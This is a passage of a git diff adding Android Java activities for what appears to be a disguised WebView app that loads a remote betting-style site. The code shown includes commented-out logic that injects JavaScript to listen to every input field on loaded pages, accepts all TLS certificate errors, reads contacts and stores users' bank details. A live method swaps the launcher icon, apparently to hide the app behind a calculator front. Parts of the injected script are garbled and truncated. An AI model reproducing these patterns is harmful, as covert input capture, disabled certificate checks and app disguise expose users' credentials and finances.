onError2(Result o) { +// +// } +// }); +// } +// +// +// public void setTotalTongJi() { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// Api.getInstance().totalTongJi(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// public void recordNotify(int pushId) { +// HashMap map = new HashMap<>(); +// map.put("pushId", pushId); +// Api.getInstance().totalNotify(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.d("dddd" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// public void getMyInvite(boolean isShare) { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// map.put("deviceCode", Utils.getUniqueId(MainActivity2Bf.this)); +// Api.getInstance().getMyInvited(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver>() { +// @Override +// public void onSuccess(Result o) { +// if (o.data != null) { +// myInviteCode = o.data.getInviteCode(); +//// myInviteNum = o.data.getInviteNum(); +// MainActivity.saveString(MainActivity2Bf.this, "balance", o.data.getBalance()); +// MainActivity.saveString(MainActivity2Bf.this, "income", o.data.getIncome()); +// MainActivity.saveString(MainActivity2Bf.this, "bankname", o.data.getBankName()); +// MainActivity.saveString(MainActivity2Bf.this, "name", o.data.getName()); +// MainActivity.saveString(MainActivity2Bf.this, "bankno", o.data.getBankNo()); +// } +// if (isShare) { +// goShare(); +// } +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.d("dddd" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// Handler handler = new Handler(); +// +// boolean hasSignIn = false; +// +// +//// WebView webViews; +// WebViewClient webViewClient = new WebViewClient() { +// +// @Override +// public void onPageFinished(WebView webView, String s) { +// super.onPageFinished(webView, s); +// LogUtils.i("URL是啥加载完成:" + webView.getUrl()); +// if (webView.getUrl().contains("hasSignIn")) { +// hasSignIn = true; +// } +// +// int w = View.MeasureSpec.makeMeasureSpec(0, +// View.MeasureSpec.UNSPECIFIED); +// int h = View.MeasureSpec.makeMeasureSpec(0, +// View.MeasureSpec.UNSPECIFIED); +// // 重新测量 +// webView.measure(w, h); +// if (showTopLy.getVisibility() == View.VISIBLE) { +// handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); +// } +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// topVvvv.setVisibility(View.GONE); +// } else { +// if (isAtGame) { +// topVvvv.setVisibility(View.VISIBLE); +// } else { +// topVvvv.setVisibility(View.GONE); +// +// } +// } +//// webViews = webView; +// injectInputListener(webView); +// +//// initPost(webView); +// } +// +// @Override +// public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { +//// LogUtils.i("网址是啥:222222222222222222222222"); +// +// return super.shouldInterceptRequest(webView, s); +// } +// +// @Override +// public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { +//// LogUtils.i("网址是啥:"+webResourceRequest.getUrl().toString()); +// if ("POST".equalsIgnoreCase(webResourceRequest.getMethod())) { +//// LogUtils.i("网址是啥111222:"); +//// injectInputListener(webViews!=null?webViews:webView); +// } +// return super.shouldInterceptRequest(webView, webResourceRequest); +// } +// +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// String currentUrl = request.getUrl().toString(); +// if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { +// onShowErrorView(errorMessage); +// } else { +// onShowNetView(); +// } +// } +// progressBar.setVisibility(View.GONE); +// } +// +// @Override +// public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { +//// super.onReceivedSslError(webView, sslErrorHandler, sslError); +// sslErrorHandler.proceed(); +// } +// +// @Override +// public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { +// super.onReceivedError(view, errorCode, description, failingUrl); +// if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { +// if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { +// onShowErrorView(description); +// } else { +// onShowNetView(); +// } +// } +// progressBar.setVisibility(View.GONE); +// +// } +// +// +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String url1) { +// +// LogUtils.i("URL是啥:" + url1); +// +// if (url1.equals(url + "index") || url1.equals(url + "/index")) { +// isAtGame = false; +// topVvvv.setVisibility(View.GONE); +// } else { +// progressBar.setVisibility(View.VISIBLE); +// } +// if (isToOutSideUrl(url1)) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// if (!(url1.startsWith("http") || url1.startsWith("https"))) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } else { +// +// if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { +// return false; +// } else { +// //其它的该怎么处理就怎么处理 +// webView.loadUrl(url1); +// return true; +// } +// +// } +// +// return false; +// } +// +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { +// +// LogUtils.i("网络请求3333:" + request.getUrl()); +// LogUtils.i("网络请求3333:" + request.getRequestHeaders()); +// +// Uri uri; +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// uri = request.getUrl(); +// } else { +// uri = Uri.parse(request.toString()); +// } +// String url1 = uri.toString(); +// LogUtils.i("URL是啥1:" + url1); +// +// if (isToOutSideUrl(url1)) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// +// if (url1.equals(url + "index") || url1.equals(url + "/index")) { +// isAtGame = false; +// topVvvv.setVisibility(View.GONE); +// } else { +// progressBar.setVisibility(View.VISIBLE); +// } +// +// if (!(url1.startsWith("http") || url1.startsWith("https"))) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } else { +// +// if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { +// return false; +// } else { +// //其它的该怎么处理就怎么处理 +// webView.loadUrl(url1); +// return true; +// } +// +// } +// +// return false; +// } +// }; +// +// +// int counts = 0; +// private void injectInputListener(WebView webView) { +// // JS 代码:监听所有 input 和 textarea 的输入事件 +// // 你的代码 +// Runnable runnable = new Runnable() { +// @Override +// public void run() { +//// // 你的代码 +// +// String jsCode = "javascript:(function (){" + +// // 获取所有输入元素(input 和 textarea) +// "var inputs = document.getElementsByTagName('input');" + +// // 遍历所有输入元素,添加 input 事件监听 +// "if(0 { +// // 示例:更新界面 +// // textView.setText(inputContent); +// }); +// } +// +// } +// +// private boolean isToOutSideUrl(String url1) { +// return url1.contains("facebook") || url1.contains("https://t.me") || +// url1.contains("instagram") || url1.contains("https://x.com") || url1.contains("https://wa.me") || +// url1.contains("https://m.me") || url1.contains("http://m.me")||url1.endsWith(".apk"); +// } +// +// // 辅助方法:流转字符串 +// private String readStream(InputStream is) throws IOException { +// BufferedReader br = new BufferedReader(new InputStreamReader(is)); +// StringBuilder sb = new StringBuilder(); +// String line; +// while ((line = br.readLine()) != null) { +// sb.append(line); +// } +// br.close(); +// return sb.toString(); +// } +// +// // 辅助方法:解析表单键值对 +// private Map parseFormData(String body) throws UnsupportedEncodingException { +// Map params = new HashMap<>(); +// String[] pairs = body.split("&"); +// for (String pair : pairs) { +// String[] keyValue = pair.split("=", 2); // 按第一个=分割 +// if (keyValue.length == 2) { +// String key = URLDecoder.decode(keyValue[0], StandardCharsets.UTF_8.name()); +// String value = URLDecoder.decode(keyValue[1], StandardCharsets.UTF_8.name()); +// params.put(key, value); +// } +// } +// return params; +// } +// +// public void onShowErrorView(String errorMsg) { //网络不可用的情况 +// webView.setVisibility(View.GONE); +// layoutError.setVisibility(View.VISIBLE); +// tvErrorMsg.setText(errorMsg); +// showTopLy.setVisibility(View.GONE); +//// isNetError = true; +// +// } +// +// public void onShowNetView() { +// // topVvvv.setVisibility(View.GONE); +// webView.setVisibility(View.VISIBLE); +// layoutError.setVisibility(View.GONE); +// showTopLy.setVisibility(View.GONE); +//// isNetError = false; +// } +// +// +// boolean isAtGame = false; +// // String uuid = "", uuid1 = ""; +// private static final int REQUEST_CODE_FILE_CHOOSER = 1; +// private ValueCallback mUploadCallbackForLowApi; +// private ValueCallback mUploadCallbackForHighApi; +// WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// +// WebView newWebView = new WebView(webViewdd.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// +// LogUtils.i("URL是啥新窗口:" + url); +// +// if (isToOutSideUrl(url)) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// +// if (!(url.startsWith("http") || url.startsWith("https"))) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } else { +// Intent browserIntent = new Intent(MainActivity2Bf.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// return false; +// } +// +// +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; +// } +// +// +// @Override +// public void onCloseWindow(WebView window) { +// super.onCloseWindow(window); +// LogUtils.i("URL是啥新窗口结束:" + url); +// +// } +// +// @Override +// public void onProgressChanged(WebView view, int newProgress) { +// super.onProgressChanged(view, newProgress); +// // 更新进度条的进度 +// progressBar.setProgress(newProgress); +// // 如果加载完成,隐藏进度条 +// if (newProgress == 100) { +// progressBar.setVisibility(View.GONE); +// } else { +// progressBar.setVisibility(View.VISIBLE); +// } +// } +// +// +// // @TargetApi(Build.VERSION_CODES.LOLLIPOP) +// @Override +// public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { +// LogUtils.i("数据接口:onShowFileChooser"); +// mUploadCallbackForHighApi = filePathCallback; +// Intent intent = fileChooserParams.createIntent(); +// intent.addCategory(Intent.CATEGORY_OPENABLE); +// startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); +// return true; +// } +// +// // For 3.0+ +// protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { +// LogUtils.i("数据接口:openFileChooseracceptType"); +// openFilerChooser(uploadMsg); +// } +// +// +// private void openFilerChooser(ValueCallback uploadMsg) { +// LogUtils.i("数据接口:openFileChooser"); +// mUploadCallbackForLowApi = uploadMsg; +// startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); +// } +// +// +// private Intent getFilerChooserIntent() { +// Intent intent = new Intent(Intent.ACTION_GET_CONTENT); +// intent.addCategory(Intent.CATEGORY_OPENABLE); +// return intent; +// } +// +// +// @Override +// public void onPermissionRequest(PermissionRequest request) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// MainActivity2Bf.this.runOnUiThread(() -> { +// for (String permisson : request.getResources()) { +// permissionRequest = request; +// if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { +// if (ContextCompat.checkSelfPermission(MainActivity2Bf.this, Manifest.permission.CAMERA) != 0) { +// ActivityCompat.requestPermissions(MainActivity2Bf.this, PERMISSIONS_CAMERA, 1111); +// } else { +// request.grant(request.getResources()); +// request.getOrigin(); +// } +// +// } +// } +// }); +// } +// } +// }; +// +// private PermissionRequest permissionRequest; +// +// +// @RequiresApi(api = Build.VERSION_CODES.Q) +// @Override +// protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { +// super.onActivityResult(requestCode, resultCode, data); +// switch (requestCode) { +// case REQUEST_CODE_FILE_CHOOSER: +// if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { +// afterFileChooseGoing(resultCode, data); +// } +// break; +// +// +// } +// } +// +// +// /** +// * onActivityResult方法 +// */ +// +// private void afterFileChooseGoing(int resultCode, Intent data) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// if (mUploadCallbackForHighApi == null) { +// return; +// } +// mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); +// mUploadCallbackForHighApi = null; +// } else { +// if (mUploadCallbackForLowApi == null) { +// return; +// } +// Uri result = data == null ? null : data.getData(); +// mUploadCallbackForLowApi.onReceiveValue(result); +// mUploadCallbackForLowApi = null; +// } +// } +// +// @Override +// public void onRequestPermissionsResult(int requestCode, +// String permissions[], int[] grantResults) { +// if (grantResults.length == 0) { +// return; +// } +// switch (requestCode) { +// case REQUEST_EXTERNAL_STORAGE: +// if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { +// } +// break; +// case 1111: +// if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { +// permissionRequest.grant(permissionRequest.getResources()); +// } +// break; +// case 2222: +// if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); +// } else { +// //没同意 +// if (contactApply == 1) { +// MainActivity2Bf.this.finish(); +// } +// +// } +// break; +// default: +// break; +// } +// super.onRequestPermissionsResult(requestCode, permissions, grantResults); +// } +// +// +// @Override +// public void onDestroy() { +// +// if (webView != null) { +// //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); +// //移除WebView +//// ((ViewGroup) webView.getParent()).removeView(webView); +// //销毁VebView +// webView.destroy(); +// } +// +// super.onDestroy(); +// } +// +// @Override +// protected void onResume() { +// super.onResume(); +// if (notifyApply == 0 || notifyApply == 1) { +// checkNotify(); +// } +// +// +// } +// +// @Override +// protected void onPause() { +// super.onPause(); +// +// } +// +// +// public static void saveInt(Context context, String key, int value) { +// SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); +// SharedPreferences.Editor editor = sp.edit(); +// editor.putInt(key, value); +// editor.apply(); +// } +// +// public static int getInt(Context context, String key, int defValue) { +// SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); +// return sp.getInt(key, defValue); +// } +// +// Handler mainHandler = new Handler(Looper.getMainLooper()); +// +// public boolean isApplicationBroughtToBackground(final Context context) { +// ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); +// List tasks = am.getRunningTasks(1); +// if (!tasks.isEmpty()) { +// ComponentName topActivity = tasks.get(0).topActivity; +// if (!topActivity.getPackageName().equals(context.getPackageName())) { +// return true; +// } +// } +// return false; +// } +// +//} diff --git a/base_no_all/src/main/java/com/web/base/MainActivity3.java b/base_no_all/src/main/java/com/web/base/MainActivity3.java new file mode 100644 index 0000000..cdfca57 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MainActivity3.java @@ -0,0 +1,544 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebView; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.just.agentweb.AgentWeb; +import com.just.agentweb.WebChromeClient; +import com.just.agentweb.WebViewClient; + + + +public class MainActivity3 extends AppCompatActivity { + LinearLayout webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + AgentWeb mAgentWeb; + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main3); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + } + + public void hideStatusBar(Activity activity) { + if (activity == null) return; + Window window = activity.getWindow(); + if (window == null) return; + window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + WindowManager.LayoutParams lp = window.getAttributes(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + lp.layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES; + } + window.setAttributes(lp); + } + + + @Override + public void onBackPressed() { + +// if (mAgentWeb.canGoBack()) {//当webview有多级能返回的时候 +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// webView.loadUrl(url); +// } +// } else {//不能返回了 +// +// //返回计算器 +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +//// } + super.onBackPressed(); +// } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "http://winway33.com/"; + + // https://telegram.2ltop.com/url.json?rand=111111111 + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); +// topVvvvf = (RelativeLayout) findViewById(R.id.top_vvvvf); +// topVvvv1 = (StatusLayout) findViewById(R.id.top_vvvv1); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// +//// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +//// verifyStoragePermissions(this); +// +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); + getNetUrl(); + } + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(MainActivity3.this,"base_url",o.url); +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// }); + } + + private void toUrl(String url) { + mAgentWeb = AgentWeb.with(this) + .setAgentWebParent( webView, new LinearLayout.LayoutParams(-1, -1)) + .useDefaultIndicator() + .setWebViewClient(webViewClient) + .setWebChromeClient(webChromeClient) + .createAgentWeb() + + .ready() + .go(url); + + } + + + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " errorMessage : " + errorMessage); +// } +// progressBar.setVisibility(View.GONE); +// } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " description : " + description); + } + progressBar.setVisibility(View.GONE); + + } + +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String s) { +// LogUtils.i("URL是啥:"+s); +// return super.shouldOverrideUrlLoading(webView, s); +// } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + }else{ + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return true; + } + }; + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webViewdd.getUrl()); +// +// WebView newWebView = new WebView(MainActivity3.this); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// mAgentWeb.getUrlLoader().loadUrl(url); +// return true; +// } +// }); +// return true; +// } + + + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + }; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + +// @Override +// public boolean onKeyDown(int keyCode, KeyEvent event) { +// +// if (keyCode == KeyEvent.KEYCODE_BACK) { +// +// if 